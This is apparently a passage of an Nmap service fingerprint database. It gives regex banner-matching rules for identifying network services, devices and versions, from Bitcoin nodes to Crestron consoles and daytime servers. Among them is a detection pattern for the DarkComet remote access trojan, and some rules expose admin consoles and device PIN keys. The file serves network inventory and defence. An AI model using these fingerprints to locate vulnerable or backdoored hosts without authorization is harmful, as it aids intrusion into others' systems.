cpe:/a:bitcoin:bitcoind:0.3.23$1/ # Version 0x7e90 -> 32400 -> 0.3.24 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x90\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ v/0.3.24/ cpe:/a:bitcoin:bitcoind:0.3.24/ match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x90\x7e\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$|s p/Bitcoin digital currency server/ v/0.3.24$1/ cpe:/a:bitcoin:bitcoind:0.3.24$1/ # https://bitcointalk.org/index.php?topic=55852.0 # http://bitcoin.org/en/alert/2012-02-18-protocol-change # "In June 2010 the Bitcoin reference software version 0.2.10 introduced a # change to the protocol: the 'version' messages exchanged by nodes at # connection time would have a new format that included checksum values to # detect corruption by broken networks." # Bitcoin "version" message with protocol version 70001 # https://en.bitcoin.it/wiki/BIP_0037#Extensions_to_existing_messages # https://en.bitcoin.it/wiki/BIP_0060 "The protocol version was upgraded to # 70001, and the (now accepted) BIP 0037 became implemented." # 4 bytes magic number: "\xf9\xbe\xb4\xd9" # 12 bytes command: "version\0\0\0\0\0" # 4 bytes length # 4 bytes checksum # 4 bytes version "\x71\x11\x01\0" # 8 bytes services bitfield: "\x01\0\0\0\0\0\0\0" # 8 bytes timestamp # 16 bytes IPv4-compatible client IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." # 2 bytes client port # 16 bytes IPv4-compatible server IP: "\0\0\0\0\0\0\0\0\0\0\xff\xff...." # 2 bytes server port # 8 bytes nonce # 1 byte user agent string length # variable user agent string https://en.bitcoin.it/wiki/BIP_0014 # 4 bytes last block # 1 byte relay https://en.bitcoin.it/wiki/BIP_0037#Extensions_to_existing_messages # Version numbers now correspond only to protocol changes, not software releases. # Version 0x011171 -> 70001 0.7.1 match bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0.\0\0\0....\x71\x11\x01\0\0\0\0\0\0\0\0\0........\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff.............../Bitpeer:([\w._-]+)/\0\0\0\0\x01$|s p/Bitpeer/ v/$1/ softmatch bitcoin m|^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0..\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\0....$|s p/Bitcoin digital currency server/ cpe:/a:bitcoin:bitcoind/ match bitcoin-jsonrpc m|^HTTP/1\.0 401 Authorization Required\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc/([\w._-]+)\r\n|s p/Bitcoin JSON-RPC/ v/$1/ cpe:/a:bitcoin:bitcoind:$1/ match bitcoin-jsonrpc m|^HTTP/1\.0 401 Authorization Required\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc\r\n|s p/Bitcoin JSON-RPC/ cpe:/a:bitcoin:bitcoind/ match bitcoin-jsonrpc m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: bitcoin-json-rpc/([\w._-]+)\r\n|s p/Bitcoin JSON-RPC/ v/$1/ cpe:/a:bitcoin:bitcoind:$1/ match bitcoin-jsonrpc m|^HTTP/1\.1 403 Forbidden\r\n(?:[^\r\n]+\r\n)*?Server: dash-json-rpc/v(\d[\w._-]+)\r\n|s p/Dash cryptocurrency JSON-RPC/ v/$1/ match bitcoin m|^\xbf\x0ck\xbdgetsporks\0\0\0\0\0\0\0\]\xf6\xe0\xe2| p/Dash cryptocurrency server/ i/Bitcoin fork/ # Bittorrent Client 3.2.1b on Linux 2.4.X match bittorrent m|^\x13BitTorrent protocol\0\0\0\0\0\0\0\0| p/Bittorrent P2P client/ # BMC Software Patrol Agent 3.45 and HP Patrol Agent match softwarepatrol m|^\0\0\0\x17i\x02\x03..\0\x05\x02\0\x04\x02\x04\x03..\0\x03\x04\0\0\0|s p|BMC/HP Software Patrol Agent| cpe:/a:bmc:patrol_agent/ match scmbug m|^SCMBUG-SERVER RELEASE_([-\w_.]+) \d+\n| p/Scmbug bugtracker/ v/$1/ match bro m|^\0\0\0\x08\x01\0{10}\x11\0\0\0\x07\0\0\x0b\xb8\0\0\0\x1a\0\0..\0\0\0\0\x08\x02...\0{7}mi\x01\0\0\0\x01\x90\x01\0\0\0\0\x10peer_description\x02\0\0\0\0\x01\0{14}\x01\x01\0\0\0\x02\x8a\x01\0\x08\x04\0\x01\0\0\0\0\x01\x01\0\0\0\x03\x8c\x01\0\x01\0\0\0\0\x02\0\0\0\x01\0\x02\x01\x01\0\0\0\x04\x88\x06\0\x01\0\0\0\0\x02\0\0\0\x03bro|s p/Bro IDS control service/ cpe:/a:bro:bro/ # Tolis BRU (Backup and Restore Utility) match bru m|^0x[0-9a-fA-F]{32}L| p/Tolis BRU/ i/Backup and Restore Utility/ # Bruker AXS X-ray machines (how cool is that!?!?) (Brandon) match bruker-axs m|^\[ANGLESTATUS.*\[XYZSTATUS.*\[ZOOMSTATUS.*\[INSTRUMENTSTATUS.*XRAYSON=1|s p/Bruker AXS X-ray controller status/ i/X-rays: On/ d/specialized/ match bruker-axs m|^\[ANGLESTATUS.*\[XYZSTATUS.*\[ZOOMSTATUS.*\[INSTRUMENTSTATUS.*XRAYSON=0|s p/Bruker AXS X-ray controller status/ i/X-rays: Off/ d/specialized/ match buildservice m|^200 HELLO - BuildForge Agent v([\w._-]+)\n| p/BuildForge Agent/ v/$1/ match buildservice m|^\$\0\0\0\$\0\0\x000RAR\0 \0\0.\xe2\x02\0\xc4G\x0f\0\0\0\0\0\0\0\0\0\0\0\0\0|s p/Xoreax IncrediBuild/ o/Windows/ cpe:/o:microsoft:windows/a match burk-autopilot m|^\x19\0\0\0\0\0\x0f\xbeB!\x012\x02\xd1\x02\x032\x02p\0\x062\x02\x80\0$| p/Burk AutoPilot Plus remote management/ d/remote management/ match bzfs m|^BZFS\d\d\d\d\0$| p/BZFlag game server/ match bzfs m|^BZFS\d\d\d\d\r\n\r\n$| p/BZFlag game server/ # CA Message Queueing Server (Tom Sellers) match ca-mq m|^ACK\x01| p/CA Message Queuing Server/ match ca-unicenter m|^\x8d\0\0\0\x8d\0\0\0\x100\x81\x89\x02\x81\x81\0.*\x02\x03\x01\0\x01\0$| p/CA Unicenter remote control/ cpe:/a:ca:unicenter_remote_control/ match caicci m|^\x02\x07\x04\0\xe0\0{11}\x02\0{7}\x04\x03\x02\x010\0{7}\x01\0\0\0\x01\0\0\0\xe0\0{8}\x80\0\0\0\x80\0\0\0ems-p-sp\0{8}\x01\0{10}\x12\x01\0\0EMS-P-SPO-01\0{53}EMS-P-SPO-01\0{55}$| p/CAI-CCI/ match ccirmtd m|^\x02\x07\x04\0\xe0\0{11}\x02\0{7}\x04\x03\x02\x010\0{7}\x01\0\0\0\x01\0\0\0\xe0\0{8}\x80\0\0\0\x80\0\0\0hfnapp04\0{8}\x01\0{10}\x02\0\0\0HFNAPP04\0{57}HFNAPP04\0{59}$| p/CA Unicenter CCI Remote Daemon/ match calibre-json m|^\d+\[\d+, {.*?\"calibre_version\": \[(\d+), (\d+), (\d+)\], .*?\"currentLibraryName\": \"([^"]+)\",| p/Calibre Sync JSON/ v/$1.$2.$3/ i/library name: $4/ cpe:/a:kovid_goyal:calibre:$1.$2.$3/ match calibre-json m|^\d+\[\d+, {.*?\"currentLibraryName\": \"([^"]+)\",.*?\"calibre_version\": \[(\d+), (\d+), (\d+)\],| p/Calibre Sync JSON/ v/$2.$3.$4/ i/library name: $1/ cpe:/a:kovid_goyal:calibre:$2.$3.$4/ # https://github.com/ninjasphere/driver-go-chromecast # The "@\0" at the end is newer, but no info on why. match castv2 m|^\0\0\0X\x08\0\x12\x0bTr@n\$p0rt-0\x1a\x0bTr@n\$p0rt-0\"'urn:x-cast:com\.google\.cast\.tp\.heartbeat\(\x002\x0f{\"type\":\"PING\"}$| p/Ninja Sphere Chromecast driver/ match castv2 m|^\0\0\0Z\x08\0\x12\x0bTr@n\$p0rt-0\x1a\x0bTr@n\$p0rt-0"'urn:x-cast:com\.google\.cast\.tp\.heartbeat\(\x002\x0f\{"type":"PING"\}@\0| p/Ninja Sphere Chromecast driver/ match cccam m|^Welcome to the CCcam information client\.\n| p/CCcam DVR card sharing system information/ # http://comments.gmane.org/gmane.comp.security.openvas.users/3189 # Also submitted by an Nmap user, but with different data following. match nnsrv m|^\x94\0\0\0\xf4\xff\xff\xff\x01\0\0\0\xff\xff\xff\xff\0\0\0\0\xa5\0\0\0\0\0\0\0| p/iStar Driver Service/ i/access control system/ d/security-misc/ match cddbp m|^201 ([-\w_.]+) CDDBP server v([-\w.]+) ready at .*\r\n| p/freedb cddbp server/ v/$2/ h/$1/ # http://ceph.com/docs/next/dev/network-protocol/ # 2 back-to-back struct entity_addr_t, consisting of a u32 type (0), u32 nonce (random), and a sockaddr_storage. # This works for IPv4, have yet to get an IPv6 fingerprint match ceph m|^ceph (v[\w._-]+)\0\0\0\0....\0\x02......\0{120}\0\0\0\0....\0\x02......\0{120}|s p/Ceph distributed filesystem/ v/protocol $1/ i/ipv4/ match chargen m|^!"#\$%\&'\(\)\*\+,-\./0123456789:;<=>\?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefgh\r\n"#\$%\&'\(\)\*\+,-\./0123456789:;<=>\?\@ABCDEF| p/Linux chargen/ o/Linux/ cpe:/o:linux:linux_kernel/a # Redhat 7.2, xinetd 2.3.7 chargen match chargen m|^\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklmnopq\r\n\+,-\./| p/xinetd chargen/ o/Unix/ # Sun Solaris 9; Windows match chargen m|^\ !"#\$%&'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]\^_| # Mandrake Linux 9.2, xinetd 2.3.11 chargen match chargen m|NOPQRSTUVWXYZ\[\\\]\^_`abcdefghijklm| p/xinetd chargen/ o/Unix/ match chargen m|^\*\*\* Port V([\d.]+) !\"#\$%&'\(\)\*\+,-\./0123456789:| p/Lantronix chargen/ v/$1/ match chargen m|^The quick brown fox jumps over the lazy dog\. 1234567890\r\n| p/Tektronix Phaser chargen/ d/printer/ match chat m|^WebStart Chat Service Established\.\.\.\r\n\(C\) 2000-\d+ R Gabriel all Rights Reserved\r\n| p/WebStart Chat Service/ match chat m|^\*\x01..\0\x04\0\0\0\x01$|s p/AIM or ICQ server/ match chat-ctrl m|^InfoChat Server v([\d.]+) Remote Control ready\n\r| p/InfoChat Remote Control/ v/$1/ match check_mk m|^<<>>\nVersion: ([\w._-]+)\n| p/check_mk extension for Nagios/ v/$1/ match chess m=^\n\r _ __ __ __ \n\r \| \| / /__ / /________ ____ ___ ___ / /_____ \n\r \| \| /\| / / _ \\/ / ___/ __ \\/ __ `__ \\/ _ \\ / __/ __ \\\n\r= p/Lasker Internet Chess server/ match chilliworx m|^ChilliSVC ([\d.]+)\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0| p/ChilliWorx management console/ v/$1/ d/remote management/ match cirrato-client m|^Cirrato Client ([\w._-]+)\0$| p/Cirrato print server client/ v/$1/ # Citadel/UX. Maybe to change the service name and to move somewhere else? embyte match citadel m|^200.*Citadel(?:/UX)?| p/Citadel (UX) messaging server/ cpe:/a:citadel:ux/ # Citrix, Metaframe XP on Windows match citrix-ica m|^\x7f\x7fICA\0\x7f\x7fICA\0| p/Citrix Metaframe XP ICA/ o/Windows/ cpe:/o:microsoft:windows/a # Citrix MetaFrame XP 1.0 implimented with ClassLink 2000 on NT4 match citrix-ima m|^.\0\0\0\x81\0\0\0\x01|s p/Citrix Metaframe XP IMA/ o/Windows/ cpe:/o:microsoft:windows/a # http://www.citynet.ru/citynet-sv.3 # Really no idea what this is or which fields are mutable match citynet m|^CityNetDUTChannel\[AT3V1\]\x04\0\xa5\x0f\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0........|s p/CityNet SV.3/ # Length-prefixed Protocol Buffers. This is "UPDATE_TRACK_POSITION" message sent when music is playing. Version is based on protocol version byte. match clementine m|^\0\0\0.\x08\x0b\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2/ cpe:/a:clementine-player:clementine:1.2/ match clementine m|^\0\0\0.\x08\x0c\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2.1/ cpe:/a:clementine-player:clementine:1.2.1/ match clementine m|^\0\0\0.\x08\x0d\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ v/1.2.2 - 1.2.3/ cpe:/a:clementine-player:clementine:1.2/ softmatch clementine m|^\0\0\0.\x08.\x10\.\xa2\x01.\x08.|s p/Clementine music player remote control/ cpe:/a:clementine-player:clementine/ match clsbd m|^\0\0\0\x10ClsBoolVersion 1$| p/Cadence IC design daemon/ match cmrcservice m|^\"\0\0\x80 \0S\0T\0A\0R\0T\0_\0H\0A\0N\0D\0S\0H\0A\0K\0E\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/CmRcService.exe/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a match cmrcservice m|^,\0\0\x80\*\0E\0R\0R\0O\0R\0_\0N\0O\0_\0A\0C\0T\0I\0V\0E\0_\0U\0S\0E\0R\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/Error: no active user/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a match cmrcservice m|^0\0\0\x80\.\0E\0R\0R\0O\0R\0_\0E\0X\0I\0S\0T\0I\0N\0G\0_\0S\0E\0S\0S\0I\0O\0N\0\0\0| p/Microsoft Configuration Manager Remote Control service/ i/Error: existing session/ o/Windows/ cpe:/a:microsoft:systems_management_server/ cpe:/o:microsoft:windows/a match codeforge m|^CFMSERV\(1\)\n| p/CodeForge IDE/ match concertosendlog m|^Concerto Software\r\n\r\nEnsemblePro SendLog Server - Version (\d[-.\w]+)\r\n\r\nEnter Telnet Password\r\n#> | p/Concerto Software EnsemblePro CRM software SendLog Server/ v/$1/ match concertotimesync m|^Concerto Software\r\n\r\nContactPro TimeSync Server - Version (\d[-.\w]+)\r\n\r\nEnter Telnet Password\r\n#> | p/Concerto Software EnsemblePro CRM software TimeSync Server/ v/$1/ match conference m|^Conference, V([\d.]+)\r\n$| p/Forum Communcations conferenced/ v/$1/ match complex-link m|^\x06\x07\xd0\0\x01\0\0\0\x01\0\x02\x07\xd0\0\x01\0\0\x01\x0f\x01\xf4\0\0\0\0HP +LTO ULTRIUM| p/HP LTO Ultrium data port/ d/storage-misc/ # Commvault Backup Server (CommVault Galaxy(R) Data Protection) match commvault m=^\0\0\0\t\0\0\0\|\0\0\0= p/CommVault Galaxy data backup/ match compuware-lm m|^Hello, I don't understand your request\. Good bye\.\.\.\. $| p/Compuware Distributed License Management/ # PacketCable COPS Client-Open # http://tools.ietf.org/html/rfc2748#section-2.1 match cops m|^\x10\x06[\x80-\xff].......\x0b\x01([\w._-]+)\0|s p/Common Open Policy Service (COPS)/ v/1/ h/$1/ match control-m m|^a 00000094S 000000 L E CTM5761S0103Control-M server already connected to another gateway\. | p|BMC Control-M/EM server| cpe:/a:bmc:software_control-m_server/ # This port uses a binary protocol: [esc]X@ query OS version, [esc]XA query hardware match crestron-control m|^Crestron Terminal Protocol Console opened\r\n| p/Crestron Terminal Console/ i/Crestron automation system/ cpe:/h:crestron/ match crestron-control m|^\r\nCrestron Terminal Protocol Console Opened\r\n\r\n| p/Crestron Terminal Console/ i/Crestron automation system/ cpe:/h:crestron/ # Crestron Terminal Protocol - text based protocol match crestron-ctp m|^\r\nCEN-IDOC Control Console\r\n\r\nCEN-IDOC>| p/Crestron CEN-IDOC music player connection text ui/ d/media device/ cpe:/h:crestron:cen-iodc/ match crestron-ctp m|^\r\nRMC Control Console\r\n\r\nQM-RMC>\r\nQM-RMC>| p/Crestron QM-RMC text ui/ d/media device/ cpe:/h:crestron:qm-rmc/ match crestron-ctp m|^TSW-[\w._-]+ Console\r\n\r\n(TSW-[\w._-]+)>| p/Crestron $1 touch screen text ui/ d/media device/ cpe:/h:crestron:$1/ match crestron-ctp m|^Password\? \r\n| p/Crestron MPS-200 presentation system text ui/ i/Authentication required/ d/media device/ cpe:/h:crestron:mps-200/ match crestron-ctp m|^\r\n([-\w]+) Control Console\r\nConnected to Host: ([-\w_.]+)\r\n| p/Crestron $1 automation system text ui/ d/specialized/ h/$2/ cpe:/h:crestron:$1/ match crestron-ctp m|^\r?\n?[-\w]+ Control Console\r\n\r\n?([-\w_.]+)>| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ match crestron-ctp m|^[-\w]+ Console\r\n\r\n([-\w]+)>\r\r\n| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ match crestron-ctp m|^[-\w]+ Console\r\nWarning: Another console session is open \r\n\r\n([-\w]+)>| p/Crestron $1 automation system text ui/ d/specialized/ cpe:/h:crestron:$1/ match crestron-ctp m|\*\*\*\*\r\n\r\nHELP : Provides help menus\.\r\nHELP \[ALL | p/Crestron automation system text ui/ i/Authentication required/ d/specialized/ cpe:/h:crestron/ # Should be matched above, unable to verify - TS match crestron-ctp m|^\r\nPRO2 Control Console\r\n| p/Crestron PRO2 automation system text ui/ d/specialized/ cpe:/h:crestron:pro2/ match crestron-ctp m|^\r\nMC2E Control Console\r\n| p/Crestron MC2E automation system text ui/ d/specialized/ cpe:/h:crestron:mc2e/ # XSig allows communcation with a Crestron control system. match crestron-xsig m|^\x0f\0\x01\x02$| p/Crestron XSig communication/ d/specialized/ cpe:/h:crestron/ match crossfire m|^\0#version 1023 1027 Crossfire Server\n| p/Crossfire game server/ v/1.9.0 or earlier/ match crossfire m|^\0#version 1023 102[89] Crossfire Server\n| p/Crossfire game server/ v/1.9.1/ # Softmatch so we can get a version softmatch crossfire m|^\0#version \d+ \d+ Crossfire Server\n| p/Crossfire game server/ cpe:/a:crossfire:crossfire/ match cyrus-sync m|\* OK ([-.\w]+) Cyrus sync server v([-.\w]+)| p/Cyrus sync server/ v/$2/ h/$1/ cpe:/a:cmu:cyrus_imap_server:$2/ match cvspserver m|^no repository configured in /| p/CVS pserver/ i/broken/ match cvspserver m|^/usr/sbin/cvs-pserver: line \d+: .*cvs: No such file or directory\n| p/CVS pserver/ i/broken/ match cvspserver m|^Unknown command: `pserver'\n\nCVS commands are:\n| p/CVS pserver/ i/broken/ match cvsup m|^OK \d+ \d+ ([-.\w]+) CVSup server ready\n| p/CVSup/ v/$1/ match damewaremr m|^0\x11\0\0...........@.........\0\0\0\x01\0\0\0\0\0\0\0.\0\0\0$|s p/DameWare Mini Remote Control/ o/Windows/ cpe:/o:microsoft:windows/a match darkcomet m|^[0-9A-F]{12}$| p/DarkComet RAT/ i/**BACKDOOR**/ # Linux match daytime m=^[0-3]\d [A-Z][A-Z][A-Z] (?:19|20)\d\d \d\d:\d\d:\d\d \S+\r\n= # OpenBSD 3.2 match daytime m=^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} +\d\d:\d\d:\d\d (?:19|20)\d\d\r\n= o/Unix/ # Solaris 8,9 match daytime m=^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} +\d\d:\d\d:\d\d (?:19|20)\d\d\n\r= p/Sun Solaris daytime/ o/Solaris/ cpe:/o:sun:sunos/a # Windows daytime match daytime m=^\d+:\d\d:\d\d [AP]M \d+/\d+/(?:19|20)\d\d\n$= p/Microsoft Windows USA daytime/ o/Windows/ cpe:/o:microsoft:windows/a # Windows daytime - UK english I think (no AM/PM) match daytime m=^\d\d:\d\d:\d\d \d\d?.\d\d?.(?:19|20)\d\d\n$= p/Microsoft Windows International daytime/ o/Windows/ cpe:/o:microsoft:windows/a # daytime on Windows 2000 Server match daytime m=^.... \d{1,2}:\d{1,2}:\d{1,2} (?:19|20)\d\d-\d{1,2}-\d{1,2}\n$= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a # Windows NT daytime match daytime m=^[A-Z][a-z]+day, [A-Z][a-z]+ \d{1,2}, (?:19|20)\d\d \d{1,2}:\d\d:\d\d\n\0$= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a # Windows 2000 Adv Server sp-4 daytime match daytime m=^[A-Z][a-z][a-z] [A-Z][a-z][a-z] \d{1,2} \d{1,2}:\d{1,2}:\d{1,2} (?:19|20)\d\d\n= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a # Windows 2003 Server daytme match daytime m=^\d{1,2}\.\d{1,2}\.\d{1,2} \d\d/\d\d/(?:19|20)\d\d\n= p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a # Windows 2000 Prof. Central European format match daytime m|^\d{1,2}:\d\d:\d\d \d{1,2}[/.]\d{1,2}[/.]\d{4}\n$| p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a match daytime m|^\d{1,2}:\d\d:\d\d [ap]m \d{4}/\d\d/\d\d\n$| p/Microsoft Windows daytime/ o/Windows/ cpe:/o:microsoft:windows/a match daytime m|^\d{1,2}:\d\d:\d\d [ap]m \d{1,2}/\d{1,2}/\d{4}\n$| p/Microsoft Windows 2003 daytime/ o/Windows/ cpe:/o:microsoft:windows_server_2003/a # South Africa localization. match daytime m|^\d\d:\d\d:\d\d [AP]M \d\d\d\d/\d\d/\d\d\n$| p/Microsoft Windows 7 daytime/ # Windows International daytime match daytime m|^\d\d:\d\d:\d\d \d\d.\d\d.20\d\d\n$| p/Microsoft Windows International daytime/ o/Windows/ cpe:/o:microsoft:windows/a # New Zealand format daytime - Windows 2000 match daytime m|^[01]\d:\d\d:\d\d [AP]M [0-3]\d/[01]\d/0\d\n$| p/Microsoft Windows daytime/ i/New Zealand style/ o/Windows/ cpe:/o:microsoft:windows/a # HP-UX B.11.00 A inetd daytime match daytime m|^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} \d\d:\d\d:\d\d [A-Z]+ 20\d\d\r\n$| p/HP-UX daytime/ o/HP-UX/ cpe:/o:hp:hp-ux/a # Tardis 2000 v1.4 on NT match daytime m|^[A-Z][a-z]{2} [A-Z][a-z]{2} +\d{1,2} \d\d:\d\d:\d\d 20\d\d $| p/Tardis 2000 daytime/ match daytime m|^\d+ \d\d-\d\d-\d\d \d\d:\d\d:\d\d 50 0 4 \d+\.0 UTC\(NIST\) \*\r\n| p/Greyware Domain Time II daytime/ # TrueTime nts100 running WxWorks match daytime m|^[A-Z][a-z]{2}, [A-Z][a-z]{2} \d{1,2}, 20\d\d, \d\d:\d\d:\d\d-UTC$| p/TrueTime nts100/ # Cisco router daytime match daytime m|^[A-Z][a-z]+day, [A-Z][a-z]+ \d{1,2}, \d{4} \d\d:\d\d:\d\d-\w\w\w\w?(?:-?DST)?\r\n| p/Cisco router daytime/ o/IOS/ cpe:/o:cisco:ios/a match daytime m|^\w+, +\d+ +\w+ +\d+ +\d+:\d+:\d+ [+-]\d+\r\n([\w:._ /\\-]+\\ats\.exe)\r\n| p/Atomic Time Synchonizer daytime/ i/$1/ o/Windows/ cpe:/o:microsoft:windows/ match daytime m|^\d\d\d\d/\d\d/\d\d \d\d:\d\d:\d\d\r\n$| p/American Dynamics EDVR security camera daytime/ d/webcam/ # TODO: replace this when we figure out what it is. softmatch daytime m|^[0-2]\d:[0-5]\d:[0-5]\d [12]\d\d\d/\d\d?/\d\d?\n$| match devonthink m|^\xe6\x01\0\0\0\0\0\0bplist00\xd4\x01\x02\x03\x04\x05\x06\x1e\x1fX\$versionX\$objectsY\$archiverT\$top\x12\0\x01\x86\xa0\xa5\x07\x08\x0f\x13\x1aU\$null\xd3\t\n\x0b\x0c\r\x0eStag\[dataContentV\$class\x10\x01\x80\x02\x80\x04\xd2\x10\x0b\x11\x12WNS\.dataO\x10\x98bplist00\xd2\x01\x02\x03\x04_\x10\x16ComputerIdentificationZPINCodeKey_\x10:([\w._-]+)\x08| p/DEVONthink dcoument management/ i/PIN code key: $1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match diablo2 m|^[\xae\xaf]\x01$| p/Diablo 2 game server/ match dict m|^530 access denied\r\n$| p/dictd/ i/access denied/ match dict m|^220 ([-.\w]+) dictd ([-.\w/]+) on ([-.+ \w]+) | p/dictd/ v/$2/ o/$3/ h/$1/ match dict m|^220 hello <> msg\r\n$| p/Serpento dictd/ # DS2, Application Version 04.5 (025) M2IP - 03.1 (09.2)Bootloader Version 04.5 (022) M2IP - 03.1 (09.2) match digital-sprite-status m|^acam_bitmask\[0\]=1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768\r\nact_actions\[0\]=1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1\r\nact_buzzer=0\r\n| p/Dedicated Micros Digital Sprite 2 camera/ d/webcam/ # Digifort port 8600. match digifort m|^\xd1Q\xf0'\0\0\0;\x01\x05LOGIN\0\0\0\x30\x01\x01\0\0\0\x05NONCE\x08 \0\0\0[0-9A-F]{32}$| p/Digifort Enterprise 6.5/ o/Windows/ cpe:/a:digifort:digifort:6.5.0_final/ cpe:/o:microsoft:windows/a # Digifort port 8610. match digifort-analytics m|^\xd1Q\xf0'\0\0\0A\x01\x15CMD_ANALYTICS_VERSION\0\0\0&\x01\x01\0\0\0\x07Version\x08\x14\0\0\0DIGIFORT ([\w._ -]+)\xd1Q\xf0'\0\0\0I\x01\x13CMD_ANALYTICS_NONCE\0\0\0\x30\x01\x01\0\0\0\x05NOnce\x08 \0\0\0\x30CD6DD9A883431A881BC14DE48F0F892\xd1Q\xf0'\0\0\0\x18\x01\x12CMD_ANALYTICS_PING\0\0\0\0\xd1Q\xf0'\0\0\0\x18\x01\x12CMD_ANALYTICS_PING\0\0\0\0$| p/Digifort Enterprise analytics/ v/$1/ o/Windows/ cpe:/a:digifort:digifort:$1/ cpe:/o:microsoft:windows/a # Digifort port 8611. match digifort-lpr m|^\xd1Q\xf0'\0\0\0;\x01\x0fCMD_LPR_VERSION\0\0\0&\x01\x01\0\0\0\x07Version\x08\x14\0\0\0DIGIFORT ([\w._ -]+)\xd1Q\xf0'\0\0\0C\x01\rCMD_LPR_NONCE\0\0\0\x30\x01\x01\0\0\0\x05NOnce\x08 \0\0\0\x332DA9B47DA082C982384782CEDFEE055\xd1Q\xf0'\0\0\0\x12\x01\x0cCMD_LPR_PING\0\0\0\0\xd1Q\xf0'\0\0\0\x12\x01\x0cCMD_LPR_PING\0\0\0\0$| p/Digifort Enterprise LPR/ v/$1/ o/Windows/ cpe:/a:digifort:digifort:$1/ cpe:/o:microsoft:windows/a match directconnect m=^\$MyNick ([-.\w]+)|\$Lock= p/Direct Connect P2P/ i/User: $1/ o/Windows/ cpe:/o:microsoft:windows/a match directconnect m|^\r\nDConnect Daemon v([\d.]+)\r\nlogin: | p/Direct Connect P2P/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match directconnect m= Your IP is temporarily banned for (\d+) minutes\.\|= p/Shadows DirectConnect hub/ i/Banned for $1 minutes/ match directconnect m= You are being banned for (\d+) minutes \(by SDCH Anti Hammering\)\.\|= p/Shadows DirectConnect hub/ i/Banned for $1 minutes/ match directconnect m= You are being redirected to ([\d.]+)\|\$ForceMove [\d.]+\|= p/PtokaX directconnect hub/ i/Redirected to $1/ match directconnect m=^server-version\$([\w._-]+)\|init-completion\$200\|port\$\d+\|= p/Shakespeer Direct Connect GUI/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match directconnect-admin m=^\r\nOpen DC Hub, version ([\d.]+), administrators port\.\r\nAll commands begin with '\$' and end with '\|'\.\r\nPlease supply administrators passord\.\r\n= p/OpenDCHub directconenct hub admin port/ v/$1/ o/Unix/ match directupdate m|^OK Welcome <[\d.]+> on DirectUpdate server ([\d.]+)\r\n| p/DirectUpdate dynamic IP updater/ v/$1/ match directupdate m|^OK Welcome <[\d.]+> on DirectUpdate engine VER=\[([\d.]+) \(Build (\d+)\)\]-0x\w+\r\n| p/DirectUpdate dynamic IP updater/ v/$1 build $2/ match diskmonitor m|^000001a2[0-9a-f]{410}\r\n| p/Active@ Hard Disk Monitor/ match diskmonitor m|^0000019a[0-9a-f]{402}\r\n| p/Active@ Hard Disk Monitor/ match lmtp m|^220 DSPAM DLMTP ([\w._-]+) Authentication Required\r\n| p/DSPAM lmtpd/ v/$1/ cpe:/a:dspam:dspam:$1/ match docker-swarm m|^\0\0\0\x04\0\0\0\0\0\0\0\x04\x08\0\0\0\0\0\0\x0e\xff\xf1| p/Docker Swarm/ cpe:/a:redhat:docker/ match doka5 m|^\xff\0\0\x14\x9d\0\0\0\0\0\0\0\0\0\0\x11l\0\0\0\x17\0\0| p/Surecomp DOKA 5/ cpe:/a:surecomp:doka_5/ match drawpile m|^..\0DRAWPILE 3 ([A-Z,]+)|s p/DrawPile/ v/0.7.0/ i/protocol 3; flags: $1/ 